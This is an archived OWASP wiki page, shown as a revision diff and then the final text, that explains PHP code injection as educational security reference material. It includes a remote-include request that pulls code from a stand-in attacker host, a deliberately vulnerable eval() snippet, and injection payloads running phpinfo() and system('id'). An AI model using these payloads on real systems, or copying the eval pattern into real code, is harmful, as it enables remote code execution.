This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "Code Injection"
m (→Related Countermeasures) |
Andrew Smith (talk | contribs) m |
||
| (35 intermediate revisions by 7 users not shown) | |||
| Line 1: | Line 1: | ||
{{Template:Attack}} | {{Template:Attack}} | ||
| + | <br> | ||
| + | [[Category:OWASP ASDR Project]] | ||
| + | |||
| + | Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' | ||
==Description== | ==Description== | ||
| + | Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation, for example: | ||
| − | + | * allowed characters (standard regular expressions classes or custom) | |
| + | * data format | ||
| + | * amount of expected data | ||
| − | + | Code Injection differs from [[Command Injection]] in that an attacker is only limited by the functionality of the injected language itself. If an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Command injection consists of leveraging existing code to execute commands, usually within the context of a shell. | |
| − | + | ==Risk Factors== | |
| − | + | * These types of vulnerabilities can range from very hard to find, to easy to find | |
| − | + | * If found, are usually moderately hard to exploit, depending of scenario | |
| − | + | * If successfully exploited, impact could cover loss of confidentiality, loss of integrity, loss of availability, and/or loss of accountability | |
| − | |||
| − | |||
| − | |||
| − | |||
==Examples == | ==Examples == | ||
| Line 20: | Line 23: | ||
'''Example 1''' | '''Example 1''' | ||
| − | If | + | If an application passes a parameter sent via a GET request to the PHP include() function with no input validation, the attacker may try to execute code other than what the developer had in mind. |
| − | The URL below | + | The URL below passes a page name to the include() function. |
http://testsite.com/index.php?page=contact.php | http://testsite.com/index.php?page=contact.php | ||
| − | + | The file "evilcode.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request: | |
http://testsite.com/?page=http://evilsite.com/evilcode.php | http://testsite.com/?page=http://evilsite.com/evilcode.php | ||
| − | |||
| − | |||
| − | |||
'''Example 2''' | '''Example 2''' | ||
| − | When | + | When a developer uses the PHP eval() function and passes it untrusted data that an attacker can modify, code injection could be possible. |
| − | |||
| − | + | The example below shows a dangerous way to use the eval() function: | |
<pre> | <pre> | ||
| Line 46: | Line 45: | ||
</pre> | </pre> | ||
| − | + | As there is no input validation, the code above is vulnerable to a Code Injection attack. | |
| − | + | For example: | |
| − | + | <pre> | |
| − | + | /index.php?arg=1; phpinfo() | |
| − | + | </pre> | |
| + | While exploiting bugs like these, an attacker may want to execute system commands. In this case, a code injection bug can also be used for command injection, for example: | ||
<pre> | <pre> | ||
| − | /index. | + | /index.php?arg=1; system('id') |
</pre> | </pre> | ||
| + | ==Related [[Threat Agents]]== | ||
| + | * [[:Category: Internet_attacker]] | ||
| + | * [[Internal_software_developer]] | ||
| − | ==Related | + | ==Related [[Attacks]]== |
| + | * [[Command Injection]] | ||
| + | * [[SQL Injection]] | ||
| + | * [[LDAP injection]] | ||
| + | * [[Server-Side_Includes_%28SSI%29_Injection|SSI injection]] | ||
| + | * [[Cross-site Scripting (XSS)]] | ||
| − | *[[:Category: | + | ==Related [[Vulnerabilities]]== |
| + | * [[:Category: Input Validation Vulnerability]] | ||
| − | ==Related | + | ==Related [[Controls]]== |
| + | * [[Input Validation]] | ||
| + | * [[Output Validation]] | ||
| + | * [[Canonicalization]] | ||
| − | *[ | + | ==References== |
| − | *[ | + | * [http://cwe.mitre.org/data/definitions/77.html CWE-77: Command Injection] |
| − | + | * [http://cwe.mitre.org/data/definitions/78.html CWE-78: OS Command Injection] | |
| − | *[ | + | * [http://cwe.mitre.org/data/definitions/77.html CWE-89: SQL Injection] |
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| + | [[Category:Injection]] | ||
[[Category:Attack]] | [[Category:Attack]] | ||
| − | |||
[[Category:Injection Attack]] | [[Category:Injection Attack]] | ||
Latest revision as of 16:34, 31 December 2013
- This is an Attack. To view all attacks, please see the Attack Category page.
Last revision (mm/dd/yy): 12/31/2013
Description
Code Injection is the general term for attack types which consist of injecting code that is then interpreted/executed by the application. This type of attack exploits poor handling of untrusted data. These types of attacks are usually made possible due to a lack of proper input/output data validation, for example:
- allowed characters (standard regular expressions classes or custom)
- data format
- amount of expected data
Code Injection differs from Command Injection in that an attacker is only limited by the functionality of the injected language itself. If an attacker is able to inject PHP code into an application and have it executed, he is only limited by what PHP is capable of. Command injection consists of leveraging existing code to execute commands, usually within the context of a shell.
Risk Factors
- These types of vulnerabilities can range from very hard to find, to easy to find
- If found, are usually moderately hard to exploit, depending of scenario
- If successfully exploited, impact could cover loss of confidentiality, loss of integrity, loss of availability, and/or loss of accountability
Examples
Example 1
If an application passes a parameter sent via a GET request to the PHP include() function with no input validation, the attacker may try to execute code other than what the developer had in mind.
The URL below passes a page name to the include() function.
http://testsite.com/index.php?page=contact.php
The file "evilcode.php" may contain, for example, the phpinfo() function which is useful for gaining information about the configuration of the environment in which the web service runs. An attacker can ask the application to execute his PHP code using the following request:
http://testsite.com/?page=http://evilsite.com/evilcode.php
Example 2
When a developer uses the PHP eval() function and passes it untrusted data that an attacker can modify, code injection could be possible.
The example below shows a dangerous way to use the eval() function:
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
As there is no input validation, the code above is vulnerable to a Code Injection attack.
For example:
/index.php?arg=1; phpinfo()
While exploiting bugs like these, an attacker may want to execute system commands. In this case, a code injection bug can also be used for command injection, for example:
/index.php?arg=1; system('id')
